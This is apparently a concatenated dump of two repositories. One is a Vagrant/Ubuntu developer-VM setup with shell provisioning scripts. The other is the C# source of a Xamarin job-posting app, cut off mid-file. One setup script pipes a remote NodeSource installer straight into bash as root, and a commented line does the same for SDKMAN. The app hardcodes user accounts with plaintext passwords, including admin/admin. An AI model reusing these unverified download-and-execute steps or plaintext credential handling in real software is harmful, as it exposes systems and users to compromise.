<repo_name>Muhannad508/MoeVM<file_sep>/README.md # dev-ubuntu-Image once the vm is up , run this script to install some sdk [java,nodejs] : /scripts/setupSdkTools.sh to run Node Server from Docker : docker run -p 8080:3000 --name hello-node -d my-vue-node<file_sep>/scripts/setupSdkTools.sh #!/usr/bin/env bash if [ ! -d "/home/vagrant/.local/share/umake" ]; then sudo snap install ubuntu-make --classic ; fi if [ ! -d "/home/vagrant/.local/share/umake/java/adoptopenjdk" ]; then umake java umake maven fi if [ ! -d "/home/vagrant/.local/share/umake/nodejs/nodejs-lang" ]; then umake nodejs node_path = "/home/vagrant/.local/share/umake/nodejs/nodejs-lang/bin" echo "Nodejs has been installed" fi #umake nodejs #umake java npm install -g tldr npm install -g @vue/cli npm install -g json-server npm install -g http-server # . "/vagrant/scripts/setupWebPkgs.sh" echo "Setup as Compeleted" #curl -s "https://get.sdkman.io" | bash #bash "/home/vagrant/.sdkman/bin/sdkman-init.sh" #cmd= "install java" #echo "${sdk} install java" # sdk install maven # sdk install gradle <file_sep>/Vagrantfile Vagrant.configure(2) do |config| config.vm.box = "bento/ubuntu-20.04" config.vm.network "private_network", ip: "172.16.17.32" config.vm.network "forwarded_port", guest: 80, host: 8080 config.vm.synced_folder "/home/moe/IdeaProjects", "/home/vagrant/IdeaProjects" config.vm.provider "virtualbox" do |vb| vb.gui = false vb.name = "dev-os-vm" vb.memory = "6024" vb.cpus = 3 # Enable host desktop integration vb.customize ['modifyvm', :id, '--clipboard', 'bidirectional'] vb.customize ['modifyvm', :id, '--draganddrop', 'bidirectional'] end # config.vm.provision "docker" do |d| # d.post_install_provision "shell", inline:"echo export http_proxy='http://127.0.0.1:3128/' >> /etc/default/docker" # d.run "mongo" , # cmd: "bash -l", # args: "-d -p 27017-27019:27017-27019 --name mongodb" # d.run "mongo-express" , args: "-it --rm -p 8081:8081 --link mongodb" # end # config.vm.provision "shell", # inline: "/bin/sh /vagrant/scripts/install.sh" # end # Run Ansible from the Vagrant VM config.vm.provision 'ansible' do |ansible| ansible.playbook = 'provisioning/playbook.yml' ansible.galaxy_role_file = 'provisioning/requirements.yml' end end <file_sep>/scripts/setupWebPkgs.sh #!/usr/bin/env bash npm install -g tldr npm install -g @vue/cli #npm install -g json-server <file_sep>/scripts/ubuntu_Setup.sh #!/bin/bash print_status() { echo echo "## $1" echo } if test -t 1; then # if terminal ncolors=$(which tput > /dev/null && tput colors) # supports color if test -n "$ncolors" && test $ncolors -ge 8; then termcols=$(tput cols) bold="$(tput bold)" underline="$(tput smul)" standout="$(tput smso)" normal="$(tput sgr0)" black="$(tput setaf 0)" red="$(tput setaf 1)" green="$(tput setaf 2)" yellow="$(tput setaf 3)" blue="$(tput setaf 4)" magenta="$(tput setaf 5)" cyan="$(tput setaf 6)" white="$(tput setaf 7)" fi fi print_bold() { title="$1" text="$2" echo echo "${red}================================================================================${normal}" echo "${red}================================================================================${normal}" echo echo -e " ${bold}${yellow}${title}${normal}" echo echo -en " ${text}" echo echo "${red}================================================================================${normal}" echo "${red}================================================================================${normal}" } bail() { echo 'Error executing command, exiting' exit 1 } exec_cmd_nobail() { echo "+ $1" bash -c "$1" } exec_cmd() { exec_cmd_nobail "$1" || bail } install_pkg() { PKG="$1" print_status " ${bold} Installing ${PKG} ..." exec_cmd "apt-get install -y ${PKG}" print_status "${bold}${green} ${PKG} has been installed" } setup_node() { PRE_INSTALL_PKGS="" # Using Debian, as root #exec_cmd 'curl -sL https://deb.nodesource.com/setup_lts.x | sudo -E bash -' exec_cmd 'curl -sL https://deb.nodesource.com/setup_lts.x | bash -' PRE_INSTALL_PKGS="nodejs" exec_cmd "apt-get install -y ${PRE_INSTALL_PKGS}" print_status "Installing some npm packages..." npm install -g tldr npm install -g @vue/cli npm install -g json-server npm install -g http-server } setup() { PRE_INSTALL_PKGS="" # Check that HTTPS transport is available to APT # (Check snaked from: https://get.docker.io/ubuntu/) if [ ! -e /usr/lib/apt/methods/https ]; then PRE_INSTALL_PKGS="${PRE_INSTALL_PKGS} apt-transport-https" fi if [ ! -x /usr/bin/curl ] && [ ! -x /usr/bin/wget ]; then PRE_INSTALL_PKGS="${PRE_INSTALL_PKGS} curl" fi # Used by apt-key to add new keys if [ ! -x /usr/bin/gpg ]; then PRE_INSTALL_PKGS="${PRE_INSTALL_PKGS} gnupg" fi PRE_INSTALL_PKGS="${PRE_INSTALL_PKGS} $PWD/code.deb" exec_cmd 'curl -L https://code.visualstudio.com/sha/download\?build\=stable\&os\=linux-deb-x64 -o code.deb' # download chrome PRE_INSTALL_PKGS="${PRE_INSTALL_PKGS} $PWD/google-chrome-stable_current_amd64.deb" exec_cmd 'curl -L -O https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb' # Populating Cache print_status "Populating apt-get cache..." exec_cmd 'apt-get update' if [ "X${PRE_INSTALL_PKGS}" != "X" ]; then print_status "Installing packages required for setup:${PRE_INSTALL_PKGS}..." # This next command needs to be redirected to /dev/null or the script will bork # in some environments exec_cmd "apt-get install -y${PRE_INSTALL_PKGS} > /dev/null 2>&1" fi exec_cmd 'snap install cheat' exec_cmd 'snap install authy --classic' } setup <file_sep>/dockerImages/Dockerfile FROM node:latest WORKDIR /code ENV PORT 3000 COPY package.json /code/package.json RUN npm install COPY . /code CMD ["node", "server.js"] <file_sep>/scripts/install.sh #!/usr/bin/env bash apt-get update ######################### Required packages######################## apt-get install -y apt-transport-https && ca-certificates && curl && gnupg-agent && software-properties-common apt-get install -y linux-headers-$(uname -r) build-essential dkms ######################### Apt repository list ######################## apt-get install -y unzip apt-get install -y zip apt-get install -y git apt-get install -y xclip #apt-get install -y htop #apt-get install -y fish ######################### Flatpak ######################## # apt-get install -y flatpak # apt-get install -y gnome-software-plugin-flatpak # flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo ##################### Snap repository list ######################## # snap install code --classic # snap install skype --classic # snap install ubuntu-make --classic #snap install cheat #snap install micro --classic #snap install node --classic #snap install authy --classic # sudo snap install intellij-idea-ultimate --classic ################# umake repository list (ubuntu-make) ####################### # umake nodejs # umake java ################# SDKMAN repository list ####################### ### init ### # curl -s "https://get.sdkman.io" | bash # . "/home/vagrant/.sdkman/bin/sdkman-init.sh" #echo "sdkman_auto_answer=true" >> /home/vagrant/.sdkman/etc/config ### installation list ### #sdk install java 11.0.8.j9-adpt # sdk install maven # sdk install gradle apt-get update apt-get upgrade --yes echo " the process ID $! finished. Return status is: $? " #bash -l "/vagrant/scripts/setupSdkTools.sh" # download chrome #wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb -O /home/moe/Downloads #echo "## ==> Packages Installation has been Compeleted. You can now install java and other sdks by running this command: source /home/vagrant/Setup_System/sdk_installs.sh " <== ##"
a29c69d34353c585fb329ad2d9052f7f06a4c7c6
[ "Markdown", "Ruby", "Dockerfile", "Shell" ]
7
Markdown
Muhannad508/MoeVM
0beb2e41a2ddd13d7e7efe7a35a7f3be9f82eff5
41feb273af6aec00ad5cba635f9c63f391f6c8a1
refs/heads/master
<file_sep>using Jobify.Shared.Models; using Jobify.Services; using System; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace Jobify.Pages.NewJob { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class NewJobType : NewJobNavAbstr { private Picker picker; private Entry entry; public NewJobType(Job job) : base(job){ StackLayout.Margin = new Thickness(20); StackLayout.Children.Add(new Label() { Text = "What kind of job you need to get done?" , FontSize = 20 }); picker = new Picker() { ItemsSource = ServiceManager.GetService<JobTypeService>().GetAllJobNames(), Title = "Choose from a list" }; picker.SelectedIndexChanged += Picked; StackLayout.Children.Add(picker); StackLayout.Children.Add(new Label() { Text = "or", FontSize = 16 }); StackLayout.Children.Add(entry = new Entry() { Placeholder = "enter your own..." }); entry.TextChanged += Text_Changed; entry.Completed += Entry_Completed; } void Entry_Completed(object sender, EventArgs e) { NextPage(sender, e); } void Text_Changed(object sender, EventArgs e) { if(!(entry.Text == null || entry.Text == "" || entry.Text == " " || picker.SelectedIndex == -1)) { picker.SelectedIndex = -1; } } public void Picked(object sender, EventArgs e) { if(!(entry.Text == null || entry.Text == "" || entry.Text == " " || picker.SelectedIndex == -1)) { entry.Text = ""; } } protected override void NextPage(object sender, EventArgs e) { if(picker.SelectedIndex != -1) { Job.Title = ServiceManager.GetService<JobTypeService>().JobTypeByTitle((string)picker.SelectedItem).Name; } else { var jt = entry.Text ; if(!string.IsNullOrEmpty(jt)) { Job.Title = jt; } else { DisplayAlert("Missing Value ", "Pick or enter what kind of job has to be done!", "OK"); return; } } //navigate to next page Navigation.PushAsync(new NewJobSkillsRequiredPage(Job)); } } }<file_sep>using Jobify.Shared.Models; using System.Collections.Generic; using Xamarin.Forms.GoogleMaps; using System.Linq; using System; namespace Jobify.Services { public class JobService : Service { //TODO this will change private static List<Job> allJobs = new List<Job>{ new Job(new Position(56.882859, 23.957760),"Window Cleaning") { SkillsRequired ="Basic knowledge", PhoneNumber="29583958", Pay="25€", Info="I have all the necessary equipment"}, new Job(new Position(57.075190, 24.316189),"Car Wash"), new Job(new Position(56.660865, 24.222805),"Janitor"), new Job(new Position(56.633684, 23.772365),"Moving Helper"), new Job(new Position(57.125913, 24.761135),"Construction Site Guard"), new Job(new Position(56.916608, 23.319179),"IT Support"), new Job(new Position(56.567159, 23.720180),"Life Guard") }; public JobService() { } public List<Job> GetAllJobs() { //TODO later implement some access to a database return allJobs; } public Job FindFirstJobByTitle(string title) { return allJobs.FirstOrDefault(j => j.Title.Equals(title)); } public void saveJob(Job job) { //TODO think about this allJobs.Add(job); } public override void Init() { var job = FindFirstJobByTitle("Window Cleaning"); job.Author = ServiceManager.GetService<UserService>().FindUserByEmail("<EMAIL>"); } } } <file_sep>using Jobify.Shared.Models; using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Linq; using System.Text; namespace Jobify.Services { class JobTypeService : Service { //TODO private static List<JobType> jobTypes = new List<JobType>() { new JobType(){Name="Window Cleaning"} ,new JobType(){Name="Carpenter"} ,new JobType(){Name="Recreational Therapist"} ,new JobType(){Name="Medical Secretary"} ,new JobType(){Name="Customer Service Representative"} ,new JobType(){Name="Physician"} ,new JobType(){Name="Chemist"} ,new JobType(){Name="Systems Analyst"} ,new JobType(){Name="Writer"} ,new JobType(){Name="Executive Assistant"} ,new JobType(){Name="Loan Officer"} ,new JobType(){Name="College Professor"} ,new JobType(){Name="Logistician"} ,new JobType(){Name="Cost Estimator"} ,new JobType(){Name="Insurance Agent"} ,new JobType(){Name="Financial Advisor"} ,new JobType(){Name="Psychologist"} }; public JobTypeService() { } public override void Init() { } public ReadOnlyCollection<JobType> GetAllJobTypes() { //TODO later implement some access to a database return jobTypes.AsReadOnly(); } public string[] GetAllJobNames() { return jobTypes.Select(jt => jt.Name).ToArray(); } public bool AddNewJobType(JobType jobtype) { if(jobtype.Name != null&& jobtype.Name != "" && !jobTypes.Exists(jt => jobtype.Name==jt.Name) ){ jobTypes.Add(jobtype); return true; } else { return false; } } public JobType JobTypeByTitle(string str) { return jobTypes.Find(jt => jt.Name == str); } } } <file_sep>using Jobify.Shared.Models; using Jobify.Pages.NewJob; using System; using Xamarin.Forms.Xaml; namespace Jobify.Pages { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class NewJobSkillsRequiredPage : NewJobNavSimpleAbstr { public NewJobSkillsRequiredPage(Job job) : base( job) { Label = "What skills are required? (optional)"; Title = "Skills Required"; } protected override void NextPage(object sender, EventArgs e) { Job.SkillsRequired = Entry; Navigation.PushAsync(new NewJobDate(Job)); } } }<file_sep>using Jobify.Shared.Models; using System; namespace Jobify.Pages.NewJob { public class NewJobMoreInfo : NewJobNavSimpleAbstr{ public NewJobMoreInfo(Job Job) : base(Job){ Title = "More Info"; Label = "Is there anything else employee needs to know? (optional)"; } protected override void NextPage(object sender, EventArgs e) { Job.Info = Entry; Navigation.PushAsync(new NewJobLocation(Job)); } } }<file_sep>using System; using System.Reflection; using Xamarin.Forms.GoogleMaps; namespace Jobify.Map { public static class MapInitializer { private static MapStyle MapStyle; static MapInitializer() { try { var assembly = typeof(MapInitializer).GetTypeInfo().Assembly; var stream = assembly.GetManifestResourceStream($"Jobify.Map.MapStyle.json"); Console.WriteLine(stream.ToString()); string styleFile; using(var reader = new System.IO.StreamReader(stream)) { styleFile = reader.ReadToEnd(); } MapStyle = MapStyle.FromJson(styleFile); } catch(Exception e) { Console.WriteLine("Something wrong with MapStyle file: " + e.Message); } } public static Xamarin.Forms.GoogleMaps.Map StyleMap(Xamarin.Forms.GoogleMaps.Map map) { map.MapStyle = MapStyle; map.UiSettings.ZoomControlsEnabled = false; map.UiSettings.MyLocationButtonEnabled = false; return map; } public static async System.Threading.Tasks.Task<Xamarin.Forms.GoogleMaps.Map> CenterOnUserAsync(Xamarin.Forms.GoogleMaps.Map map) { //centering the map on user var user_location = await Xamarin.Essentials.Geolocation.GetLocationAsync(); map.MoveToRegion(MapSpan.FromCenterAndRadius( new Position(user_location.Latitude, user_location.Longitude), Distance.FromKilometers(20)) ); return map; } } } <file_sep>using Jobify.Shared.Models; using Jobify.Services; using System; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace Jobify.Pages { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class JobCreated : ContentPage { public JobCreated(Job job) { InitializeComponent(); ServiceManager.GetService<JobService>().saveJob(job); MessagingCenter.Send(EventArgs.Empty, "RefreshData"); //TODO save job } public async void Close(object sender, EventArgs e) { await Navigation.PopToRootAsync(); } } }<file_sep>using Jobify.Services; using System; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace Jobify.Pages { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class LoginPage : ContentPage { public LoginPage() { InitializeComponent(); ServiceManager.GetService<UserService>().Logout(); } private async void LoginButton(object sender, EventArgs e) { var user=ServiceManager.GetService<UserService>().LoginUserByEmailAndPassword(UsernameEntry.Text,PasswordEntry.Text); if(user != null) { Application.Current.MainPage = new HamburgerMenuPage(); } else { await DisplayAlert("Incorrect Login data", "Password and/or email Incorrect","OK"); } } void Entry_Completed(object sender, EventArgs e) { LoginButton(sender, e); } } }<file_sep>using Jobify.Map; using Jobify.Shared.Models; using System; using Xamarin.Forms; using Xamarin.Forms.GoogleMaps; namespace Jobify.Pages.NewJob { internal class NewJobLocation : NewJobNavAbstr { private Xamarin.Forms.GoogleMaps.Map map; public NewJobLocation(Job Job): base(Job) { var rlayout = new RelativeLayout(); map = new Xamarin.Forms.GoogleMaps.Map(); MapInitializer.StyleMap(map); _ = MapInitializer.CenterOnUserAsync(map); StackLayout.Children.Add(rlayout); Title = "Pick the location!"; rlayout.Children.Add(map, Constraint.Constant(0), Constraint.Constant(0), Constraint.RelativeToParent(rl => rl.Width), Constraint.RelativeToParent(rl => rl.Height)); var center_on_location_button = new ImageButton() { Source = "target.png", BackgroundColor = new Color(0, 0, 0, 0), }; center_on_location_button.Clicked += CenterOnLocationAsync; rlayout.Children.Add(center_on_location_button, Constraint.RelativeToParent(rl => rl.Width - rl.Width * 0.16), Constraint.RelativeToParent(rl => rl.Width * 0.04), Constraint.RelativeToParent(rl => rl.Width * 0.12), Constraint.RelativeToParent(rl => rl.Width * 0.12)); var pin = new Image() { Source = "map_pin_red.png", }; rlayout.Children.Add(pin, Constraint.RelativeToParent(rl => rl.Width / 2 - rl.Width * 0.05), Constraint.RelativeToParent(rl => rl.Height / 2 - rl.Width * 0.10), Constraint.RelativeToParent(rl => rl.Width * 0.10), Constraint.RelativeToParent(rl => rl.Width * 0.10)); } protected override void NextPage(object sender, EventArgs e) { Job.Location = map.CameraPosition.Target; Navigation.PushAsync(new JobCreated(Job)); } private async void CenterOnLocationAsync(object sender,EventArgs e) { var user_location = await Xamarin.Essentials.Geolocation.GetLocationAsync(); map.MoveToRegion(MapSpan.FromCenterAndRadius( new Position(user_location.Latitude, user_location.Longitude), Distance.FromKilometers(20)) ); } } }<file_sep>using Jobify.Shared.Models; using System.Collections.Generic; using System.Linq; namespace Jobify.Services { class UserService : Service { public User loggedUser { get; private set; } //TODO replace this private static List<User> allUsers = new List<User>{ new User("admin","Admin","Admin","admin") ,new User("<EMAIL>","Jānis","Bērziņš","parole123") ,new User("<EMAIL>","X Æ A-Xii","Musk","password321") ,new User("<EMAIL>","Beverly","Sales","safepassword") ,new User("<EMAIL>","Mary","Cash","safepassword") ,new User("<EMAIL>", "Shazia", "Farrow", "2FNKK8ZHFW") ,new User("<EMAIL>", "Karim", "Simons", "W7X1B86N0E") ,new User("<EMAIL>", "Eoghan", "Krause", "ZKNEPEA6CB") ,new User("<EMAIL>", "Aarush", "Garner", "WOO5YL4UDM") ,new User("<EMAIL>", "Conah", "Mejia", "AZ57RG8DIF") ,new User("<EMAIL>", "Noel", "Gibson", "D0VZ85Y5QR") ,new User("<EMAIL>", "Shantelle", "Seymour", "8PLEI8EE78") ,new User("<EMAIL>", "Carmel", "Chapman", "JRXI3QGGW5") ,new User("<EMAIL>", "Shivani", "Young", "IAED2ACQZY") ,new User("<EMAIL>", "Tia", "Koch", "QH12RR101N") ,new User("<EMAIL>", "Sanna", "Kidd", "NF2RQ5AER2") ,new User("<EMAIL>", "Caspian", "Bentley", "7U56AK1T78") ,new User("<EMAIL>", "Shannan", "Firth", "K0WLC1Y0Q7") ,new User("<EMAIL>", "Kimberly", "Mcculloch", "SL2RQF3HRH") ,new User("<EMAIL>", "Levison", "Townsend", "L2UTZL22DH") ,new User("<EMAIL>", "Ollie", "Ross", "UZA4PV0AP9") ,new User("<EMAIL>", "Gwion", "Vu", "2YYT4ODRZV") ,new User("<EMAIL>", "Benjamin", "Mcmanus", "RVSZOEDTOK") ,new User("<EMAIL>", "Layla", "Kerr", "KDU0SP1MXL") ,new User("<EMAIL>", "Jules", "Jarvis", "C0VQ2JSKG2") ,new User("<EMAIL>", "Todd", "Barajas", "LDF9W0F7X9") ,new User("<EMAIL>", "Saqib", "Gilmore", "CXMU1SPQ38") ,new User("<EMAIL>", "Renee", "Boyd", "3DEELR21O6") ,new User("<EMAIL>", "Raheel", "Kendall", "6W7682VJ20") ,new User("<EMAIL>", "Karan", "Kay", "MOSJIYAH8Q") ,new User("<EMAIL>", "Josh", "Peel", "SATNP6KQMN") ,new User("<EMAIL>", "Kit", "Moody", "X46SO4X4JB") ,new User("<EMAIL>", "Grayson", "Floyd", "SHI3OBPDZZ") ,new User("<EMAIL>", "Waqas", "Ryder", "XI5MSRWD6Y") ,new User("<EMAIL>", "Shayne", "Dawson", "YY46RDYLFE") ,new User("<EMAIL>", "Constance", "York", "9GOG0GTI4E") ,new User("<EMAIL>", "Isabel", "Soto", "25XRXF634Y") ,new User("<EMAIL>", "Carlos", "Correa", "VMDTMWF6LZ") ,new User("<EMAIL>", "Ellie-Mae", "Morrison", "QXFS7YG2G9") ,new User("<EMAIL>", "Daniella", "Phillips", "J83CDAK26V") ,new User("<EMAIL>", "Indigo", "Edmonds", "X67AUSV034") ,new User("<EMAIL>", "Usmaan", "Richmond", "GXCZBB20HP") ,new User("<EMAIL>", "Renzo", "Dudley", "SHSBQH1K3L") ,new User("<EMAIL>", "Eadie", "Alston", "UJ2MLVK38V") ,new User("<EMAIL>", "Darci", "Drew", "C2Q1HZUJKI") ,new User("<EMAIL>", "Elis", "Perez", "1TFMYIKIAX") ,new User("<EMAIL>", "Ashwin", "Cartwright", "88B7AMM2KU") ,new User("<EMAIL>", "Jameson", "Johns", "3SKJNSM8L2") ,new User("<EMAIL>", "Shiloh", "Vance", "JP3CE6K9OB") ,new User("<EMAIL>", "Gracie-May", "Mccormick", "MZB0CJU57J") ,new User("<EMAIL>", "Hakim", "Chung", "TC51IR0BAU") ,new User("<EMAIL>", "Pawel", "Beltran", "0S9GX823BO") ,new User("<EMAIL>", "Rhiannan", "Franks", "W9L49Y8YNQ") ,new User("<EMAIL>", "Karl", "Hahn", "V2AX91RN6W") ,new User("<EMAIL>", "Hadi", "Cuevas", "RQ7M9VTKJU") ,new User("<EMAIL>", "Yasmeen", "Thatcher", "JULMNG1R3A") ,new User("<EMAIL>", "Nevaeh", "Sampson", "GAVCY398KN") ,new User("kalum.watk<EMAIL>", "Kalum", "Watkins", "KC48DMLVP4") ,new User("<EMAIL>", "Tyrell", "Kirk", "2HIGKSDEFR") ,new User("<EMAIL>", "Marwa", "Gardiner", "36JK0CAV1L") ,new User("<EMAIL>", "Leo", "Palacios", "1BMS5P5CIW") ,new User("<EMAIL>", "Rory", "Tucker", "GXX5TWTBHL") ,new User("<EMAIL>", "Carlton", "Witt", "QHMH2LW7Q9") ,new User("<EMAIL>", "Tahmina", "Page", "NQ7VUDAPO6") ,new User("<EMAIL>", "Catherine", "Gallagher", "E29L259EX9") ,new User("<EMAIL>", "Kaan", "Walter", "1R1GOJU74R") ,new User("<EMAIL>", "Gia", "Choi", "1HRTN3PCKP") ,new User("<EMAIL>", "Garrett", "Wilkes", "DNVQXIDJPL") ,new User("<EMAIL>", "Lani", "Sinclair", "IRDIXQBKWB") ,new User("<EMAIL>", "Bianca", "Marin", "PO7DQL5W9M") ,new User("<EMAIL>", "Morgan", "Davidson", "QSO1TYCNF9") ,new User("<EMAIL>", "Chantel", "Elliott", "MNTRRI582K") ,new User("<EMAIL>", "Zack", "Example", "password1") ,new User("<EMAIL>", "Eilish", "Slater", "YNYVSH75E7") ,new User("<EMAIL>", "Shah", "Cervantes", "NBSS132EII") ,new User("<EMAIL>", "Eryn", "Wheatley", "J8PFSC09RT") ,new User("<EMAIL>", "Iestyn", "Mohammed", "Q4ZNX802HG") ,new User("<EMAIL>", "Keeleigh", "Mccarthy", "FUQ6LUKPGN") ,new User("<EMAIL>", "Heather", "Gale", "9VR4B36NVH") ,new User("<EMAIL>", "Bert", "Mclean", "SF4JEOGFE7") ,new User("<EMAIL>", "Lenny", "Cantrell", "582DVN2R2F") ,new User("<EMAIL>", "Luci", "Partridge", "5QBPPOCF7G") ,new User("<EMAIL>", "Arlo", "Weber", "PXEU2LZIZ5") ,new User("<EMAIL>", "Kim", "Wardle", "61AN670N2G") ,new User("<EMAIL>", "Taliah", "Villa", "V455SNFU1Z") ,new User("<EMAIL>", "Harper-Rose", "Talbot", "MN2IPDYD6P") ,new User("<EMAIL>", "Maeve", "Spence", "IUTCN4MBZ5") ,new User("<EMAIL>", "Kaia", "Gough", "B1W8RN7M60") ,new User("<EMAIL>", "Pearce", "Maguire", "5IE98XOKK2") ,new User("<EMAIL>", "Aiza", "Deleon", "O8CYH48V5C") ,new User("<EMAIL>", "Ryley", "Dodd", "D75NP0VK4F") ,new User("<EMAIL>", "Amelia-Grace", "Brennan", "A53L4VGCGP") ,new User("<EMAIL>", "Vivien", "Atkinson", "KOPO7D083B") ,new User("<EMAIL>", "Mert", "Yu", "0CZ014W719") ,new User("<EMAIL>", "Firat", "Mckay", "QRVQD1SM8L") ,new User("<EMAIL>", "Diane", "Dyer", "3YYVKHBM9W") ,new User("<EMAIL>", "Katey", "Walker", "IZKPKGIUZD") ,new User("<EMAIL>", "Amin", "Nieves", "TLLIJI5VNO") ,new User("<EMAIL>", "Rhianne", "Travis", "LYFFGUL7NF") ,new User("<EMAIL>", "Maisy", "Foley", "P81DIG34H4") ,new User("<EMAIL>", "Aiyla", "Marquez", "7QCEL8AW4Y") ,new User("<EMAIL>", "Rogan", "Garrett", "T5DTRN10KX") ,new User("<EMAIL>", "Samantha", "Ramos", "H9WKIBVOII") ,new User("<EMAIL>", "Renesmee", "Morrow", "3QYXRM41XM") ,new User("<EMAIL>", "Zayaan", "Higgins", "9PG7LIF7GH") }; public User LoginUserByEmailAndPassword(string email, string password) { loggedUser = allUsers.SingleOrDefault(user => user.Email.Equals(email) && user.Password.Equals(password)); return loggedUser; } public User FindUserByEmail(string email) { return allUsers.SingleOrDefault(user => user.Email.Equals(email)); } public override void Init() { } public void Logout() { loggedUser = null; } } } <file_sep>using Jobify.Pages; using Jobify.Services; using System; using System.Collections.Generic; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace Jobify.Pages{ [XamlCompilation(XamlCompilationOptions.Compile)] public partial class HamburgerMenu : ContentPage { public HamburgerMenu() { InitializeComponent(); listView.ItemsSource = new[] { /*new MainMenuItem("Account Details" ,"triangle.png" ,AccountDetails ), new MainMenuItem("Security" ,"shield.png" ,Security ), new MainMenuItem("Payments" ,"play_many.png" ,Payments ), new MainMenuItem("FAQ" ,"question.png" ,FAQ ), new MainMenuItem("Support" ,"comment.png" ,Support ), new MainMenuItem("Settings" ,"cog.png" ,Settings ),*/ new MainMenuItem("Logout" ,"exit.png" ,Logout ) }; var logged_user = ServiceManager.GetService<UserService>().loggedUser; UserName.Text = logged_user.Name+" " +logged_user.Surname; } public void ItemSelected(object sender, SelectedItemChangedEventArgs e) { var item = listView.SelectedItem as MainMenuItem; if(listView.SelectedItem != null) { item.Action(); } listView.SelectedItem = null; MessagingCenter.Send(EventArgs.Empty, "CloseMenu"); } private void AccountDetails() { //TODO Console.WriteLine("Ought to be implemented"); } private void Security() { //TODO Console.WriteLine("Ought to be implemented"); } private void Payments() { //TODO Console.WriteLine("Ought to be implemented"); } private void FAQ() { //TODO Console.WriteLine("Ought to be implemented"); } private void Support() { //TODO Console.WriteLine("Ought to be implemented"); } private void Settings() { //TODO Console.WriteLine("Ought to be implemented"); } private void Logout() { Application.Current.MainPage = new NavigationPage(new LoginPage()); } } public class MainMenuItem { public string Text { get; set; } public string Icon { get; set; } public Action Action { get; set; } public MainMenuItem(string text, string icon, Action action) { Text = text; Icon = icon; Action = action; } public MainMenuItem() { } } }<file_sep>using Jobify.Shared.Models; using System; using Xamarin.Forms.Xaml; namespace Jobify.Pages.NewJob { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class NewJobPay : NewJobNavSimpleAbstr { public NewJobPay(Job Job): base(Job) { Title = "Pay"; Label = "How much are you paying for the job?"; } protected override void NextPage(object sender, EventArgs e) { Job.Pay = Entry; if(string.IsNullOrEmpty(Job.Pay)) { DisplayAlert("Missing Value ", "Enter info about pay!", "OK"); return; } Navigation.PushAsync(new NewJobMoreInfo(Job)); } } }<file_sep>using Xamarin.Forms.GoogleMaps; namespace Jobify.Shared.Models { public class Job { public Position Location { get; set; } public string Title { get; set; } public string Description { get; set; } = ""; public string SkillsRequired { get; set; } = ""; public string Schedlue { get; set; } = ""; public string PhoneNumber { get; set; } = ""; public string Email { get; set; } = ""; public string OtherContacts { get; set; } = ""; public string Pay { get; set; } = ""; public string Info { get; set; } = ""; public User Author { get; set; } //public JobType JobType { get; set; } public Job(Position location, string title) { Location = location; Title = title; } public Job() { } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace Jobify.Pages { [XamlCompilation(XamlCompilationOptions.Compile)] public class HamburgerMenuPage : MasterDetailPage { public HamburgerMenuPage() { Master = new HamburgerMenu(); Detail = new NavigationPage(new MapPage()); MessagingCenter.Subscribe<EventArgs>(this, "OpenMenu", args => { IsPresented = true; }); MessagingCenter.Subscribe<EventArgs>(this, "CloseMenu", args => { IsPresented = false; }); } } }<file_sep>using Jobify.Shared.Models; using Xamarin.Forms; namespace Jobify.Pages.NewJob { public abstract class NewJobNavSimpleAbstr : NewJobNavAbstr { private Label label; protected string Label { set { label.Text = value; } } private Entry entry; protected string Entry { get { return entry.Text; } } public NewJobNavSimpleAbstr(Job Job) : base(Job) { StackLayout.Margin = new Thickness(20); label = new Label() { FontSize = 20}; StackLayout.Children.Add(label); entry = new Entry() { Placeholder = "type..."}; entry.Completed += NextPage; StackLayout.Children.Add(entry); } } }<file_sep>namespace Jobify.Shared.Models { public class JobType { public string Name { get; set; } } } <file_sep>using Jobify.Shared.Models; using System; using Xamarin.Forms.Xaml; namespace Jobify.Pages.NewJob { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class NewJobContacts : NewJobNavSimpleAbstr { public NewJobContacts(Job job) : base(job) { Title = "Contacts"; Label = "Enter your phone number, email, etc."; } protected override void NextPage(object sender, EventArgs e) { Job.OtherContacts = Entry; if(string.IsNullOrEmpty(Job.OtherContacts)) { DisplayAlert("Missing Value", "Enter some information how to contact you!", "OK"); return; } Navigation.PushAsync(new NewJobPay(Job)); } } }<file_sep>using Jobify.Shared.Models; using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; using Xamarin.Forms; using Xamarin.Forms.GoogleMaps; using Xamarin.Forms.Xaml; namespace Jobify.Pages { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class JobPage : ContentPage { public Job Job { get; set; } public JobPage(Job job) { InitializeComponent(); BindingContext = this; Job = job; if(Job.Author!=null) Author.Text = Job.Author.Name + " " + Job.Author.Surname; var address = "..."; try { var geocoder = new Geocoder(); //Fix this later: //address= string.Join(", ",geocoder.GetAddressesForPositionAsync(Job.Location).Result); address = "Lapu street 15"; } catch(Exception e) { Console.WriteLine(e); } //adding menu items var item_list = new List<ListItem>() { new ListItem() { Name = "Job" ,Value = Job.Title } ,new ListItem() { Name = "Skills Required" ,Value = Job.SkillsRequired } ,new ListItem() { Name = "Address" ,Value = address } ,new ListItem() { Name = "When" ,Value = Job.Schedlue } ,new ListItem() { Name = "Contacts" ,Value = Job.PhoneNumber } ,new ListItem() { Name = "Pay" ,Value = Job.Pay } ,new ListItem() { Name = "More Info" ,Value = Job.Info } }; //removing empty ones: item_list.RemoveAll(li => li.Value == null || li.Value.Equals("")); List.ItemsSource = item_list; } private void Accept(object sender, EventArgs e) { Navigation.PopAsync(); } } public class ListItem{ public string Name { get; set; } public string Value { get; set; } } }<file_sep>using Jobify.Shared.Models; using System; using Xamarin.Forms.Xaml; namespace Jobify.Pages.NewJob { 